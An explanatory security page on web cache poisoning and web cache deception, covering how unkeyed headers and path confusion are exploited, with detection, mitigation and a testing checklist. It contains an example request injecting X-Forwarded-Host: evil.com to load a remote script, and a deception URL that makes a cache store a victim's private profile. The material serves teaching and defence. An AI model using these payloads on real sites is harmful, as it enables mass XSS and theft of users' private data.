Skip to content

Web Cache Poisoning / Deception

Caches (CDN, reverse proxy, browser cache) store a response and serve it to many users for speed. The problem appears when the cache key (what identifies “the same response”) omits an input that actually affects the content. Then the attacker poisons a cached response served to everyone (poisoning), or tricks the cache into storing a victim’s private content and serving it to a third party (deception).

Everything revolves around the cache key. The cache decides “this request equals that one” typically by method + host + path + query. If a header or parameter not in the key (“unkeyed input”) changes the response, the attacker sends a request with that input manipulated; the cache stores the poisoned response under the normal key; victims requesting that key receive the poison.

  • Identify unkeyed inputs: headers like X-Forwarded-Host, X-Forwarded-Scheme, X-Host, X-Forwarded-For, User-Agent, or query params that are reflected but not in the key.
  • Watch cache headers: X-Cache: hit/miss, Age, Cache-Control, Vary. A hit means it was served from cache.
  • Send the request with the suspicious header and a marker; repeat without it and see if the marker persists (got cached).
# 1) the unkeyed header is reflected in the response
GET /?cb=123 HTTP/1.1
Host: target
X-Forwarded-Host: evil.com
-> response: <script src="//evil.com/a.js"> (reflected)
# 2) that response gets cached under the key /?cb=123
# 3) the victim requests /?cb=123 -> receives the attacker's script

Common vectors:

  • Cached XSS: an X-Forwarded-Host reflected in a <link>/<script>/<base> → XSS for everyone.
  • Cached redirect: X-Forwarded-Host ending up in a Location → mass open redirect.
  • Cache DoS (CPDoS): poison with an error response (a header that causes 400/404) cached under the home page.
  • Cache key normalization: delimiters (;, #, encoding) the cache and origin treat differently to slip content under a “clean” key.

The reverse flow: you make the cache store a dynamic/private page because the URL looks static.

# the authenticated victim visits (because you send them the link):
https://target/account/profile/nonexistent.css
# the origin ignores the extension and returns the profile (with private data)
# the cache sees ".css" -> caches "static content"
# the attacker requests the same URL -> receives the victim's profile

Variants: .css, .js, /static/, path confusion (/profile%2f..%2fprofile.css), delimiters the origin and cache parse differently.

  • Burp Suite — Param Miner extension (discovers unkeyed headers/params).
  • Burp Repeater to confirm hit/miss and persistence.
  • Manual observation of X-Cache, Age, Vary.

XSS/redirect/DoS served to all users (poisoning); theft of authenticated victims’ private data (deception).

  • Cached responses reflecting non-standard headers (X-Forwarded-Host, etc.).
  • Spikes of hit on URLs with odd queries or static extensions on dynamic paths.
  • Dynamic content appearing in the static cache.

Log the effective cache key, incoming headers, and resulting X-Cache; alert on reflected unkeyed inputs.

  • Include in the cache key every input that affects the response, or don’t reflect unkeyed inputs.
  • Use Vary correctly for headers that change the response.
  • Don’t cache session/user-dependent content; set Cache-Control: private, no-store on authenticated responses.
  • Define what is cached by real extension/path, not by URL suffix; normalize paths consistently across cache and origin.
  • Disable support for X-Forwarded-* headers you don’t use; don’t trust them to build URLs.

Purge the affected cache, fix the key/normalization, review what private content may have been served.

  • James Kettle — “Practical Web Cache Poisoning” (2018) and “Web Cache Entanglement” (2020) — reference research; hit GitHub, Mozilla, large firms.
  • Omer Gil — “Web Cache Deception” (2017) — discovered the technique; PayPal among the initial victims.
  • CPDoS (2019) — academically documented cache-DoS class affecting popular CDNs.
  • Numerous HackerOne reports of poisoning via X-Forwarded-Host.
  • What goes into the cache key? (method, host, path, query)
  • Are there reflected headers/params not in the key? (Param Miner)
  • Can a response with the attacker’s X-Forwarded-Host be cached?
  • Reflection into <script>/<base>/Location → cached XSS/redirect?
  • A cacheable error under a popular URL? (CPDoS)
  • Does a dynamic URL with a .css/.js extension cache with private data? (deception)
  • Do authenticated responses carry Cache-Control: private/no-store?